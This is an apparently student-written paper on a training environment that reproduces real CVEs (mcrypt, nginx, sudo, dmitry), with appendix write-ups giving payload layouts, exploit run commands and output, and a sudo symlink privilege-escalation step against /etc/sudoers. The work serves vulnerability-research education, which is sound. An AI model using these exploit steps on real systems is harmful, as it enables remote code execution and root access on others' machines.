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Abstract

The existing curriculum in vulnerability research and exploit development falls short in
preparing students for real-world challenges. The disparity between classroom knowledge
and industry-level exploit development hinders students’ ability to apply their acquired skills
effectively in professional settings. This project includes a complete learning environment
attempting to expand on the current binary exploitation curriculum and provide a transition
to the world of Common Vulnerabilities and Exposures (CVEs). The project has two primary
objectives: expanding my knowledge of exploit development in the real world, and creating
a foundation for the next generation of vulnerability researchers to explore vulnerabilities in
the wild. This project will become open source and be provided to any student who wishes to
bridge the gap between what they learn in class and what they might experience in their career
as a vulnerability researcher.

1 Introduction

The ever-evolving landscape of Capture the Flag (CTF) competitions features programs specifically
designed to be exploited. These custom-built programs are intentionally embedded with vulnerabili-
ties for competitors to discover and exploit, creating a simulated yet highly educational environment.
However, this setup can lack realism because the vulnerabilities are deliberately introduced, differing
from the naturally occurring and unpredictable nature of real-world vulnerabilities. While this can
make competitions enjoyable and challenging, they might not fully represent the complexities and
nuances of real-world exploitation scenarios.

This project is an attempt to bridge the gap between CTF competitions and real-world exploit
development. By utilizing known CVEs, this work demonstrates how skills honed in CTFs can
be effectively transferred to real-world scenarios. The ultimate goal is not only to enhance my
foundational skills in real-world exploitation but also to provide a robust foundation for aspiring
exploit developers. This platform serves as a practical and educational tool, empowering them
to confidently navigate real-world vulnerabilities. This paper details the process of building this
platform, which connects the simulated environment of CTFs with the complexities of real-world
exploitation. To accomplish this, the project includes the following primary objectives:
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1. Enhance Binary Exploitation Education. This project aims to provide a learning envi-
ronment for individuals seeking to understand advanced topics in binary exploitation. Each
exploit is accompanied by a detailed write-up, offering a comprehensive walk-through of
identifying the vulnerability, developing the exploit, and understanding how it was patched.

2. Transition from Simulations to Real Life. By bridging the gap between the simulated
environments of CTFs and the unpredictable nature of real-world programs, this project aims
to make foundational knowledge applicable in practical settings. Detailed explanations of the
exploits and replication steps enable students to mimic the vulnerability discovery and exploit
creation process.

3. Deepen Personal Technical Knowledge. One of the original primary objectives was to
enhance my understanding of this process. By engaging hands-on with each vulnerability,
I aim to learn the procedures that real vulnerability researchers follow to reverse engineer,
debug, and exploit real-world programs. This objective supports the project’s broader goal by
ensuring the content reflects industry standards and realistic practices.

2 Background

The current education for vulnerability research and exploit development is minimal and signifi-
cantly lags behind industry needs, as evidenced by the growing demand for skilled cybersecurity
professionals and the persistent skill gaps reported in industry surveys and reports [25].

Individuals in the field have noted that motivation to understand binary exploitation is improved
when presented with a CTF competition setting instead of a traditional educational setting [19].
After the data for that study was collected, the curriculum of the studied course was modified to
introduce assignments as CTF challenges. This modified curriculum can aid in motivating the
students and providing them with a realistic environment to practice.

CTF competitions allow individuals to learn about vulnerability research, reverse engineering,
and exploit development. Top-tier competitions provide participants with expertly crafted programs
designed to be "pwned" (a term commonly used in the cybersecurity community to mean gaining
control or exploiting a system) to advance in the competition. These competitions provide hands-on
experiences that are difficult to replicate in traditional educational settings.

For those earlier in the process of learning about binary exploitation or general cybersecurity,
there are plenty of online resources to help start the process. Websites like Hack the Box [10] and
TryHackMe [15] provide step-by-step tutorials with custom-built environments for practice, enabling
newcomers to learn the basics of the subject. However, for binary exploitation, these websites
primarily focus on foundational skills rather than advanced techniques applicable to real-world
scenarios.

Additionally, resources created by CTF teams and independent vulnerability researchers, such as
the pwnable.tw [13] website and how2heap GitHub repository [31], aim to expand on exploitation
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skills by tackling complex vulnerabilities. Although these are controlled scenarios, they incorporate
realistic elements to prepare students for vulnerability research.

While these online resources are extensive and beneficial for learning the fundamentals, they
can miss the final step: real-world exploitation. CVEs are reports posted after vulnerabilities are
discovered in publicly used programs [20]. The CVE reports are linked with a severity rating
correlating to the amount of impact the vulnerability stands to have, as well as Proof of Concept
exploits (PoCs). PoCs can often be minimal, demonstrating only the existence of the vulnerability,
making them difficult to replicate. Consequently, the CTF learning style, which relies on simulated
environments, can have difficulty addressing the intricacies of a real-world program due to the
deliberate addition of vulnerabilities. This gap could result from the nature of CVE disclosures and
PoCs, which lend themselves poorly to competition formats. Understanding the realities of a career
in vulnerability research is crucial for students approaching graduation and entering the workforce.
Thus, CVEs provide a valuable resource for aspiring vulnerability researchers to learn about the
complexities of real-world programs.

3 Design

This Section describes the primary methodologies involved in the creation of this project. Each step
of the process is crucial to creating an efficient workflow, enabling swift vulnerability enumeration
and exploit creation. In this project, the process begins with a CVE reported in the National
Vulnerability Database (NVD) [20]. These reports usually include detailed information about the
vulnerability and often a PoC. This information allows researchers to understand the vulnerabilities
and the methods used to discover them. Students can then build exploits and replicate the bug in a
controlled environment. This process facilitates a comprehensive understanding of vulnerability
exploitation and enables individuals to expand on existing PoCs to demonstrate the full potential of
the exploits on target systems.

The project environment was designed to emulate the typical CTF setup to create a seamless
transition from a CTF competition to a real-world scenario. The design involved using the same
tools, scripts, and containerization programs used in CTF competitions. The Linux operating system
was also used to maintain consistency between program environments. The primary distinction of
this project is that the binaries and source code are obtained from public repositories of widely used
programs and libraries.

For debugging purposes, GDB [28] was utilized with various enhancements to streamline the
debugging experience on Linux. Since most of the vulnerable programs in this project are open
source, reverse engineering the binaries was unnecessary. Docker [9] was chosen to create the
program environments. Using Dockerfiles, scripts containing instructions for building the program
containers, an iterative design process was enabled, ensuring consistent replication across systems.

Exploits were developed using the Python programming language and the pwntools [21] library,
which provided all the necessary tools for creating and deploying payloads. In some scenarios, bash
scripting was also utilized to assist in creating exploits.
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To make this project accessible to the public, a repository was created on GitHub to host the
write-ups and project files [17]. One key lesson from the design process is that each vulnerable
program is unique, making it necessary to have a flexible toolset to address the specific challenges
of each exploit.

4 Implementation

This Section details the practical application of the methodologies described in Section 2. It covers
the steps taken to create this project, including setting up a usable testing environment, analyzing
and selecting viable CVEs to fit with the project, and then debugging and writing the exploits. Each
step presented challenges requiring continuous improvements to achieve the project objectives.

4.1 Environment Creation

The first and most important part of the process was the environment setup. Each program to be
exploited had different dependency requirements, making it essential to research these dependencies
thoroughly. For each CVE, the report date was reviewed to emulate the environment present when
the vulnerability was discovered. Debian and Ubuntu were chosen as the base Linux distributions
due to their long-term availability and support, which proved helpful when debugging unknown
operating system or compilation issues. The necessary libraries for compiling each program were
often outdated, necessitating a downgrade to an older distribution version. For instance, CVE-2013-
2028 is a vulnerability in Nginx [11] version 1.3.9. The libraries this version requires are outdated
and incompatible with modern versions of Ubuntu, requiring a downgrade to Ubuntu 16.04.

The next step was to compile the software, ensuring the use of proper compiler flags to maximize
the chances of developing a successful exploit. The compiler used to compile most of these programs
was gcc [22], but each project’s requirements differed, making it necessary to use GNU-Make [23].
This software allows the program developers to specify all of the compiler flags and necessary setup
steps for compilation in a simple specification script called a Makefile. In order to compile the
programs for a better exploitation experience, extra compiler flags could be added to the Makefile.

For vulnerabilities involving stack overflow, adding the -fno-stack-protector flag during
compilation disables stack canaries—protective mechanisms that detect and prevent buffer overflow
attacks. Disabling stack canaries allows the exploit developer to manipulate the stack without trig-
gering these security features, increasing the likelihood of successfully exploiting the vulnerability.
Compiling the program with the -fsanitize=address flag is helpful for heap object manipulation
vulnerabilities, as it raises errors when objects become corrupted within the program’s memory.
Additionally, reviewing the compiler flags used by the original researcher can provide insights into
how the exploit was initially achieved.

Finally, a debugger was used to analyze memory and step through the program one instruction
at a time. GDB was utilized with the pwndbg [29] add-on, which provides a detailed view of the
program’s context at each instruction, facilitating the identification of vulnerabilities. However,
for some programs, the outdated operating systems required for compilation made it impossible
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to install pwndbg. In these cases, the gdb-dashboard [18] add-on created by Andrea Cardaci on
GitHub was used to facilitate the debugging process. This alternative provided sufficient information
to understand the program’s memory behavior.

Using the methods above, a Docker container for each CVE in the project was created to emulate
the relevant environment. Unfortunately, no single container could accommodate all dependencies
due to their mismatched requirements. However, this process of creating individual containers
provided a robust solution for analyzing and exploiting vulnerabilities listed in the NVD.

4.2 Vulnerability Analysis

Identifying vulnerabilities in the NVD and selecting viable candidates was a challenging process that
involved various selection criteria to ensure relevance to the project. Since one main objective was
to facilitate a transition from CTF competitions to real-world exploitation, choosing vulnerabilities
that mimic those commonly found in CTF competitions was necessary.

Here is the current list of vulnerabilities present in the project repository:

CVE # Bug Type Program Version

CVE-2012-4409
Stack Buffer

Overflow
Mcrypt 2.6.8

CVE-2013-2028
Stack Buffer

Overflow
nginx 1.4.0

CVE-2015-5602
Logic Bug / Path

Parsing
Sudo 1.8.14

CVE-2017-16872
Heap Buffer

Overflow
PJSIP 2.7.0

CVE-2017-7938
Stack Buffer

Overflow
Dmitry 1.3a

CVE-2019-14287 Integer Underflow Sudo 1.8.27

CVE-2022-3296
Stack Buffer

Overflow
Vim 9.0.0576

CVE-2022-44268
Logic Bug / Image

Parsing
ImageMagick 7.1.0-49

One of the more common vulnerabilities in CTF competitions is the stack buffer overflow
vulnerability. Although these vulnerabilities are rare in modern software due to automated buffer-
checking tools like Address Sanitizer [24], they were prevalent in the past before such tools existed.
Stack buffer overflows are fundamental concepts in binary exploitation [26], making their inclusion
in this project essential. For example, CVE-2013-2028 [2] is a notable stack buffer overflow
vulnerability that allows an attacker to overwrite critical portions of memory, leading to control
flow hijacking. With the potential for complete remote code execution (RCE), this makes it an
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excellent candidate for demonstrating stack buffer overflow vulnerabilities. Other examples of buffer
overflows included in the continuously expanding project are:

1. CVE-2012-4409: [1] A stack overflow in the Mcrypt program is caused by the improper
parsing of file headers in encrypted files.

2. CVE-2017-7938: [5] A buffer overflow in the argument parsing code of the Dmitry program
allows for an overflow of the argument buffer.

3. CVE-2022-3296: [7] This was a vulnerability in the scripting language built into the Vim
program, allowing a local attacker to underflow the call stack by running specially crafted
scripts.

Advanced topics in binary exploitation include heap corruption, which can be challenging
to address even in the simulated environments of CTF competitions. Due to the nuances of
heap memory allocation across different systems, it is essential to replicate the original research
environment as closely as possible. An example of heap corruption described in this project is
CVE-2017-16872 [4]. This vulnerability in the PJSIP [12] program enabled remote attackers to
trigger a denial of service through a heap object corruption bug. The exploit leveraged a flaw in the
utility functions of PJSIP, tricking a custom heap allocation implementation into overwriting its own
object. Given that this program is likely used in phone systems worldwide, the potential for a denial
of service makes this a high-severity vulnerability.

Some vulnerabilities do not fall into the memory corruption category but are still relevant to
binary exploitation. These vulnerabilities, often called "logic bugs," exploit small errors in the
original code, leading to significant consequences on the host machine. Some of the highest severity
logic bugs are found in privilege escalation programs like Sudo [14], which allows users to execute
code as other users. In CVE-2019-14287 [6], an integer underflow error causes the UID of a given
user to be interpreted as the "root" user, or UID 0. This vulnerability enables attackers to escalate
privileges and execute any program on the victim file system. Other logic bugs exploited in this
project include:

1. CVE-2015-5602: [3] A vulnerability in how the Sudo program parses the path for allowed
binaries in the configuration file. This vulnerability allowed users to execute arbitrary files as
the root user by symbolically linking the binaries to an allowed path in the filesystem.

2. CVE-2019-14287: [6] An integer underflow bug in the Sudo program that would allow users
to run specified binaries as UID -1 if the configuration specified that they were allowed to
run as any user besides root. This UID -1 would then be interpreted as 0 after being parsed,
causing the user to run the binary as the root user.

3. CVE-2022-44268: [8] An issue with the PNG parsing code of the ImageMagick program
meant it would include the contents of an arbitrary file given the file path in the "profile"
section of the provided image. This would allow attackers to arbitrarily read any file on a
remote system if the ImageMagick program is used.
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4.3 Exploit development and debugging

This stage is where the exploitation work is conducted. The preparation in the previous stages
ensures that the environment is correctly set up to facilitate successful exploitation. The final step
involves opening the program in the debugger to analyze the behavior and identify the cause of the
vulnerability. Enabling debugging symbols during compilation allows for a more efficient workflow
by enabling breakpoints at specific points in the program where vulnerabilities are reported. An
iterative process of modifying and testing payloads can be employed by observing how the program
parses user input.

Many common exploit techniques used in CTF competitions also apply to real-world settings.
For example, Return Oriented Programming (ROP) [30] involves overwriting the return address
within a vulnerable function, allowing the attacker to redirect the program’s control flow to a different
location in executable code, enabling arbitrary code execution. Another technique, shellcoding [27],
involves writing assembly instructions into executable memory and forcing the program to jump to
that location, allowing the attacker to execute any desired instructions. These are two foundational
exploitation techniques utilized by exploit developers and CTF competitors.

The exploits in this project could achieve two levels of attack: Denial of Service (DoS) and
Remote Code Execution (RCE). In CTF competitions, the goal is typically to obtain RCE on the
remote host. However, it is rare to see RCE examples in CVE reports, as vulnerability researchers
aim to prove that a vulnerability exists instead of developing its exploit. This difference became
evident during the creation of this project. Consequently, many of the exploits created are examples
of DoS due to the nature of the vulnerabilities. In many cases, the reported vulnerability lists RCE
as a potential exploit path, but achieving that level of exploitation can require a chain of exploits.
For example, in CVE-2013-2028 [2], the initial vulnerability was a buffer overflow. However, the
program was usually compiled with a stack canary (also called a stack cookie) to detect a buffer
overflow and kick the attacker out before damage occurs. The problem with this program was that
the buffer overflow occurred in a forked process, meaning the stack canary was the same during
each concurrent connection. In turn, the remote attacker could brute force the stack canary’s value
to continue with the control flow hijacking. This exploit chain shows how the implementation of an
exploit can go much further than the initial vulnerability report describes. It also demonstrates how
exploitation can extend beyond the initial vulnerability to achieve full RCE.

5 Results and Discussion

This Section will describe notable results from the attempts to create exploits for the selected
vulnerabilities. There were many learning opportunities throughout the implementation, turning this
endeavor into a valuable experience. Understanding various nuances within each vulnerability was
crucial to creating each exploit and discovering higher-severity exploit paths. Many of the nuances
are described by the write-ups found in this paper’s appendix 8.

One of the goals of the project was to create a usable environment for practicing the exploits
throughout the repository. As a result, I set out to make a Docker container that could be used for
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each of the programs. This Docker container had to be able to handle the process of compiling,
running, and debugging each of the programs. What I discovered instead was that each of the
programs required unique packages and different versions of those packages depending on the
age of the vulnerability. As a result, I created a unique Dockerfile for each CVE, listing all of the
dependencies for the program to keep the container size small while maintaining all of the desired
capabilities. To maintain consistency in as many variables as possible, I created a template container
that can be used to generate containers for future CVEs. Using docker containers to run and debug
the programs was not always helpful. For example, in situations involving graphical programs, it was
often difficult to get the necessary display environment variables set inside the containers. Instead, I
found it helpful to have a virtual machine at my disposal to provide a self-contained environment for
the vulnerability while maintaining as many features as possible from a standard operating computer.
Using the virtual machine sparingly was essential as many programs require different versions of
Linux to compile successfully. The experience of addressing these technical challenges has not
only enhanced the repository’s utility but also deepened my understanding of the subject matter.
The need for a virtual machine for each version of Linux was deemed impractical, leading to the
adoption of a more flexible option, such as a Docker container, to accommodate the older versions.
While Docker containers provided a streamlined approach to templating the environment of the
programs, the unique challenges posed by some of the graphical programs required the occasional
use of a more flexible option, such as a virtual machine. The insights gained from these experiences
have significantly enriched my understanding and mastery of the subject matter.

In the vulnerability tagged CVE-2017-7938 [5], the initial exploit did not yield valuable results.
The effect of the buffer overflow on the stack was diminished by the fact that an error would be
thrown when this buffer was tampered with. Instead, another vulnerability could be exploited in
the same release version. While the reported vulnerability could cause a crash by overflowing the
argument buffer, a format string vulnerability was found in the parsing of the program arguments,
which allows an attacker to utilize custom format strings to read or write to arbitrary locations in
program memory. As a result, I was able to create an exploit that crashed the program by arbitrarily
corrupting the stack. The difference with this second vulnerability was that the arbitrary write,
enabled by the format string vulnerability, allowed for control flow to be intentionally modified. It
was concluded that further exploitation would require another attack vector to create a valid exploit
chain and achieve full RCE. This can be expanded upon during future practice by taking advantage
of various exploit techniques learned in CTF competitions and elsewhere.

In the case of CVE-2017-16872 [4], the vulnerability was well described by the researcher
who found it in the first place. [16] The replication steps were poorly defined, making it a valuable
vulnerability to add to the project. The vulnerability itself was a programming error caused by the
original developers of the PJSIP program. They implemented their version of the utoa() function,
which converts an unsigned int to the string equivalent of that number. This led to a relaxed use of
this function, which would result in the conversion of an integer to a long one using a sign extension.
In turn, the integer value had the potential to create a much larger string than intended allowing for
an overflow of the buffer. The vulnerability report showed that the program allocated a heap block
of 760 bytes for the object containing this buffer. A much larger heap block was allocated in the
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replicated environment to create the objects referenced during the exploit. It also only showed proof
that the exploit would cause a DoS in the program. Upon further examination, it appeared that the
replicated exploit would overwrite a reference pointer in the heap. In the right conditions, this could
enable a false object to be created in memory, which could be referenced using this method. Since
this vulnerability is exclusive to this single heap overflow, the exploit appears restricted to a DoS.
The most impressive part of this vulnerability was that it was all enabled by a sign extension that
occurs during the conversion of the integer type to the long type. Minor bugs like that are what make
this vulnerability a valuable learning experience. Much like a CTF challenge, it takes a seemingly
minor programming issue and turns it into a high-severity vulnerability.

Another notable example is CVE-2013-2028. This vulnerability is an 11-year-old vulnerability
in the Nginx web server program. Since it is old, this program required an old version of Linux
(Ubuntu 16.04) to compile the program correctly. This made the exploitation process complex
due to some debugging tools not functioning on this old version of Ubuntu. The exploit for this
vulnerability takes advantage of some of the more common exploitation techniques often found in
CTF challenges like ROP or Shellcoding. Going through this exploit is a great way to introduce the
idea that these exploitation techniques are often seen in simulated environments existing in well-
known programs like the Nginx web server. Similar to its effect on me, the process of understanding
this vulnerability and writing the exploit can give learners the experience and confidence necessary
to tackle the more advanced vulnerabilities that we see today.

These examples show that there is plenty to learn from each CVE through the process of
replication. Not only does this process provide practice and experience, but it also allows for
the possibility of discovering new capabilities and exploitation paths. As the project repository
expands, the vulnerabilities will get more advanced, allowing for a natural flow from the exploitation
techniques seen in an average CTF competition to a more sophisticated set of exploitation techniques
that one might see in the real world.

6 Implications and Future Work

6.1 Implications

This project contributes to the field of cybersecurity by creating a training ground for individuals
interested in exploring real-world vulnerabilities. By bridging the gap between simulated CTF
environments and unpredictable real-world scenarios, the platform developed here empowers
learners to actively engage with the programs and understand how the vulnerabilities work in a
realistic setting. This provides hands-on experience with real-world systems, allowing participants
like myself to prepare for a role in the field of vulnerability research.

The project can also be implemented into the curriculum of cybersecurity classes as a way
to explore high-level vulnerabilities in practice. It will also be shared with the Security Club
at Oregon State University to provide students with an advanced practice environment and give
CTF competitors a better idea of how they can apply their skills. The repository also stands to be
expanded with more advanced CVEs, allowing for a continuously improving practice environment
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for anyone.

6.2 Limitations

During the implementation of the project, one critical obstacle encountered was the minimal proof
and explanation given by the PoCs and vulnerability reports, showing only high-level exploit paths
in the program. These high-level paths are often impractical to exploit once put into practice. This
made obtaining RCE, like in a CTF challenge, extremely hard, if not impossible. However, the
goal of this project was not to turn CVEs into CTF challenges but to take what is known from CTF
experience and apply it to a practical setting. This goal was maintained despite the noted limitations,
ensuring the project remains valuable for its purpose.

6.3 Future Work

The future of this project could go in several directions:

• CVEs only require proof that an exploit is possible, making the various exploit paths merely
theoretical. Further exploration of the vulnerabilities could reveal whether or not these paths
are practical.

• Investigating a single program for multiple CVEs is another possible path. This could enable
the prospect of exploit chains that can lead to RCE. For example, if one exploit enables
arbitrary reading from memory and another allows arbitrary writing, the attacker could
combine them for complete control flow hijacking.

• Learning about how researchers use automated tools like the American Fuzzy Lop (AFL) to
discover vulnerabilities could be a fruitful area of exploration. It could further the project’s
work by integrating the toolset into the previously described exploitation process.

• Continuing work on the more advanced vulnerabilities and exploit techniques would be an
excellent way to show this increased sophistication of modern exploits. It would also pave
the way to discovering and exploiting vulnerabilities in modern, complex programs like web
browsers or entire operating systems.

7 Conclusion

This project set out to fill the void between the simulated environment of CTF competitions
and the practical vulnerability research and exploit development found in the real world. By
creating a foundational process for exploring CVEs from the NVD, this work allows aspiring
vulnerability researchers to take what they learned in CTF competitions and apply them to more
realistic programs. This work allows for a research-centered approach to offensive security allowing
for a smooth transition from an educational setting to a more practical setting. Looking forward, there
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is considerable opportunity for expanding this project to cover a much larger set of vulnerabilities
and exploit techniques. These efforts would continue to improve the impact that the project stands to
offer students in the field. It is hoped that this project will inspire further research and development
in this field, continuing to close the gap between academic, simulated environments and the practical
application of vulnerability research in the real world. [32]
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8 Appendices
The following are the various write-ups from the project that have been mentioned throughout this paper. These write-ups
explain the vulnerability, the exploit, how the developers patched it, and some of the learning outcomes from attempting
the exploit.

8.1 CVE-2012-4409
The Vulnerability. This vulnerability is interesting to understand. The mcrypt utility is an old utility that was meant for
encrypting and decrypting files. The default functionality is to use the rijndael-128/cbc mode algorithm to encrypt any file
with the password of your choosing. This functionality does not matter since the exploit is in the decryption functionality
of the program.

The vulnerability is specifically in the check_file_head() function that is ran by the program in order to
read an encrypted file. The file head includes all of the necessary information for the program to understand
what mode the file is encrypted in and what algorithm it uses. The head of the file looks something like this:
b’\x00m\x03rijndael-128\x00\x20\x00cbc\x00mcrypt-sha1\x00’

The first 3 bytes must be \x00\x64\x03 which is essentially the magic bytes for the mcrypt encrypted file format.
Then the next section will have the algorithm used for encryption followed by a \x00. Then a space followed by the
mode of the algorithm. All of this is specified in the source code and each section is parsed one-by-one using the
read_until_null function which just reads from a file descriptor until it reaches a NULL byte. At the end of this is
special byte that will show up after the mcrypt-sha1\x00. This next section is specifying the length of the salt used during
encryption so the decryptor knows how much to read. The normal maximum length of a salt should never be more than
64 bytes, but the tmp_buf that the program uses to read the salt string into is 101 bytes. If there is a bounds check for
the salt size, this is fine, but this is where the vulnerability lies in the program. The example code for this can be seen
below: The salt size or sflag never gets bounds checked. This means that an attacker could create a malicious file that

1 fread(&sflag, 1, 1, fstream);
2 if (m_getbit(6, flags) == 1) { /* if the salt bit is set */
3 if (m_getbit(0, sflag) != 0) { /* if the first bit is set */
4 *salt_size = m_setbit(0, sflag, 0);
5 if (*salt_size > 0) {
6 fread(tmp_buf, 1, *salt_size,
7 fstream);
8 memmove(salt, tmp_buf, *salt_size);
9 }

10 }
11 }
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masquerades as an mcrypt encrypted file, but has an extremely large sflag byte making the program read more bytes than
the size of the tmp_buf. This would effectively overflow the stack.
The Exploit. The exploit is relatively straightforward after understanding the functionality of the vulnerability. The
logical step is to create a file that passes all the checks when being parsed and gets the program to the piece of code that is
specified above. The byte string shown above works as a base, but can be replaced with any string of characters. The next
step is to add in one more byte in the string to specify the sflag. For this, the largest possible byte (\xff) was chosen to
allow for the maximum read size. Then, tmp_buf needs to be filled with 101 random bytes. The exploit adds a few more
random bytes to accommodate for some extra variables. Then, in a normal situation, the stack could be overwritten with
0xff-101 bytes allowing the attacker to overwrite the return address of the check_file_head() function. This is exactly
what my replicated exploit did, but with a few caveats:

1. The return address was the only thing I was able to overwrite making it only viable to use something like a
one_gadget.

2. None of the single jump-to locations would yield beneficial results towards getting a shell. Nonetheless, I went
through with it. The exploit here will run any arbitrary piece of code in the binary making it entirely possible to
pop a shell.

Issues with the exploit. I had to use -D_FORTIFY_SOURCE=0 in the makefile in order to disable the modern Fortify which
was not applied when this vulnerability was found. I also had to disable the stack canary which may have been used
during normal compilation at the time.

The original vulnerability was found using 32-bit compilation making this updated version slightly different. This
only allows for an 8-byte overflow making it extremely difficult to actually exploit this program. Due to the old nature of
this version of mcrypt, it appears as though a full RCE exploit is not able to be made.
Other Issues. One of the problems with diving into older real-world vulnerabilities is the dependency issue. Often, it is
possible to compile any program with the same environment as the original vulnerablity. Once the vulnerability is 10
years old, though, it becomes less viable. 10 years is about the length of LTS support, so anything older than that has
the chance of not being supported. This makes it hard to replicate these older vulnerabilities. In this case, the program
was originally exploited on a 32-bit machine with certain compiler flags to make it specifically vulnerable to a full chain
exploit. The modern-day version of this exploit is slightly more difficult to create, but still shows that this vulnerability
was critical.
Running the exploit. The first step, as always, is to build the docker container with docker build -t cve-2012-4409 .
Then, run it making sure to mount the current directory: docker run -it -v $(pwd):/tmp/ cve-2012-4409. Then, run
mcrypt -d /tmp/some.nc in order to initiate the exploit that was created by e.py. It’s entirely possible to modify the file
and try different return addresses by changing the payload string in the e.py file that creates the payload file. This will
create a new some.nc file that can be used in the container.
Further work. This exploit can be expanded upon, taking advantage of 2 different exploit strategies: ROP, and base
pointer poisoning. Since the capability of the exploit is restricted to overwriting the return address, potentially the next
logical step is to go after the parent function of check_file_head(). Then building a ROP chain from that could send the
program to a one_gadget with a higher chance of gaining full RCE.

8.2 CVE-2013-2028
The vulnerability. This is a stack overflow vulnerability in the nginx web server version 1.4.0. This works by taking
advantage of a bug in the http_parse_chunked() function that was newly added in this version of nginx. The format of a
chunked request is supposed to look like this:
1 size \r\n
2 data \r\n
3 size \r\n
4 data \r\n
5 ...
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Where each data section is prepended by the size of it. The issue that ended up causing the vulnerability was the
ability to add extremely large data sections. If the request had a size that was extremely large, the program would not
have the stack space for the request data resulting in a stack overflow. This exploit takes advantage of this stack overflow
in order to create a full chain exploit to get a shell on the web server host.
Testing this exploit. To test this out, the first step is to build the container with this docker build command:
1 cd CVE-2013-2028
2 docker build -t cve-2013-2028 .

Then the docker container needs to be run in privileged mode in order to properly access the host system’s network.
1 docker run -d --privileged --name testing cve-2013-2028:latest

The next step is to find the container IP address (this step can be skipped it port 80 was forwarded in the previous step).
1 docker inspect testing | grep "IPAddress"

Then the exploit can be ran with this command:
1 ./e.py <IPAddress> 80

This is what the exploit output looks like:
1 ./e.py 172.17.0.2 80
2 [*] '/home/lucasballr/cyber/exploitables/CVE-2013-2028/nginx'
3 Arch: amd64-64-little
4 RELRO: Partial RELRO
5 Stack: Canary found
6 NX: NX enabled
7 PIE: No PIE (0x400000)
8 FORTIFY: Enabled
9 Stripped: No

10 Debuginfo: Yes
11 Brute Forcing the stack cookie
12 BYTE 204 FOUND
13 BYTE 225 FOUND
14 BYTE 185 FOUND
15 BYTE 162 FOUND
16 BYTE 15 FOUND
17 BYTE 117 FOUND
18 BYTE 233 FOUND
19 BYTE 0 FOUND
20 Canary found: b'\xcc\xe1\xb9\xa2\x0fu\xe9\x00'
21 Press enter to exploit
22 sh: turning off NDELAY mode
23 YOU HAVE BEEN PWNED
24 $

Notes. This was all debugged and written by hand using the custom docker container with nginx built without a stack
cookie. This meant that the ROP chain had to be rebuilt when the exploit was ran with a stack cookie. In the end, this
exploit taught me a lot about the process of debugging a program and building a full chain exploit.
Alternative exploit. There was an alternative version of this exploit that was created just for the purpose of causing a
DoS on the nginx server. If the request size was a negative number, the chunk parser would interpret this as a massive
size, but instead of overflowing the stack, it would cause a DoS in the parent program. This is likely due to an indefinite
hang in the socket that gets opened by the connection to the server.
The patch. A patch was added in the next version of nginx that would read the size of the chunk and make sure it was
larger than 0 and smaller than the max chunk size. This prevented both exploits and ensured stack integrity.
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8.3 CVE-2015-5602
This is a path parsing issue with the Sudo program. It is not a remote code execution vulnerability directly, but it allows
for privilege escalation on the local host.
The Vulnerability. This vulnerability is described here: https://bugzilla.sudo.ws/show_bug.cgi?id=707. The
concept of the vulnerabilty is based on the bug where, by adding two wildcards in the path for a file that is defined as
editable in sudoedit, a user can create a symlink to a file they do not have permissions to access. Then, they can access it
using the parsing vulnerability. As stated in the vulnerability report, best practice would be to not allow users to run things
as root if they have write permissions, but this is something that a system administrator could configure as a mistake.
The Expliot. The exploit is based on the entry in the /etc/sudoers file. Essentially it looks like this:
1 testuser ALL=(root) NOPASSWD: sudoedit /*/*/test.txt

The path defined can lead to any user writeable directory like: /home/*/*/test.txt or /tmp/*/*/test.txt as
long as the file is in a user-writeable directory and there are two wildcards. The exploit works by doing a sym-
bolic link from the test.txt file to a root only file (like /etc/sudoers). This is easily done by the user with
ln -s /etc/sudoers /tmp/s/o/test.txt. Then running sudoedit on that file will allow root editing.
Running the exploit. To test this exploit, first go to vulnerable/ in the project directory. Then, the container can be
built with:
1 docker build -t cve-2015-5602:vuln ./.

Then the container can be initialized with:
1 docker run -it cve-2015-5602:vuln

The privesc.sh file can be run with:
1 bash ./privesc.sh

This will open the /etc/sudoers file allowing the user to edit that file and give them escalated privileges.
Patch. The patch is an important part of understanding this exploit. Since the parser was not necessarily the issue, the
solution reflected that. In the patch diff (https://bugzilla.sudo.ws/attachment.cgi?id=466&action=diff),
on line 287 this was added:
1 subdfd = openat(dfd, path, O_RDONLY | (is_writable ? O_NOFOLLOW : 0), 0);

This line essentially checked if the file is writeable and a symlink. If it is both, the file cannot be opened. This means
that non-symlink files may still be able to be accessed, but by the definition of the line in the sudoers file, this would be
intended.
Attempting the exploit. Attempting to run the exploit with the patched version of the program will output this:
1 sudoedit: /tmp/s/o/test.txt: editing symbolic links is not permitted

Unintended Consequences. The one potential issue with this is that any symlinked file that is writeable would not be
able to be accessed with this line added. For better security, this should not be possible anyways, but this is just one thing
to be noted after looking into the code of the program.
What can be learned. This vulnerability allowed for a simple exploit but it is important to look at the approach the
developers took with the patch. If the developers had tried to improve just the parser to prevent unintended file access,
it could leave holes for future attacks. That type of understanding is important to look for in patch diffs when doing
vulnerability research. If they do not solve the root cause of the issue, there remains the possibility of new exploits.

8.4 CVE-2017-7938
There is a buffer overflow vulnerability in the dmitry program when the argv[1] is too long. This leads to a segmentation
fault (a fault due to improper memory access), due to an attempted dereference of the characters in the buffer. The issue is
that the program’s default compilation options take that into account and prevent any real exploitation as a result of this
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buffer overflow. This write-up will go into detail about the vulnerability, though, before tackling a separate vulnerability
in the code.
The Vulnerability. The vulnerability is a small buffer overflow that was found in the program likely by running
valgrind, an automated variable checking program against the program with different argv sizes. The program’s normal
functionality takes the argv[argc-1] which is the last argument to the program and saves that value to the host_ip or
host_name variables. The value does not actually get bounds checked, so the attacker can write as much as desired into
the argv. This is shown by the line 152 of dmitry.c here: This overflows the stack once the host_ip and host_name

1 strcpy(host_ip, argv[argc - 1]);

variable are overwritten. The issue with continuing this exploit path is that control flow becomes hard to change. This is
because a buffer that overwrites more than 8 bytes past those variables (roughly 145 bytes) will corrupt the variables of
functions later in the program causing an indefinite read to an empty socket. Looking into the ip_string_search function
in the source code can reveal more information about this issue. This is where the infinite read ends up. Technically
control flow was manipulated by the user input, but the more precise modification is much harder to achieve.
The Second Vulnerability. The second vulnerability was found in the get_nwhois() function. The normal usage of this
function is to resolve the host that has been specified by the user input. Upon gathering this information, the program
will use printf() to display the host that has been specified. The printf call does not include a specified format string
allowing the attacker to exploit a format string vulnerability. This is what that looks like:

1 /* Print introduction to function */
2 memset(linebuff, ’\0’, sizeof(linebuff));
3 snprintf(linebuff, sizeof(linebuff), "\nGathered Inic-whois information for %s\n", fhost);
4 print_line(linebuff); // VULNERABLE
5

6 memset(linebuff, ’\0’, sizeof(linebuff));
7 snprintf(linebuff, sizeof(linebuff), "---------------------------------\n");
8 print_line(linebuff); // VULNERABLE

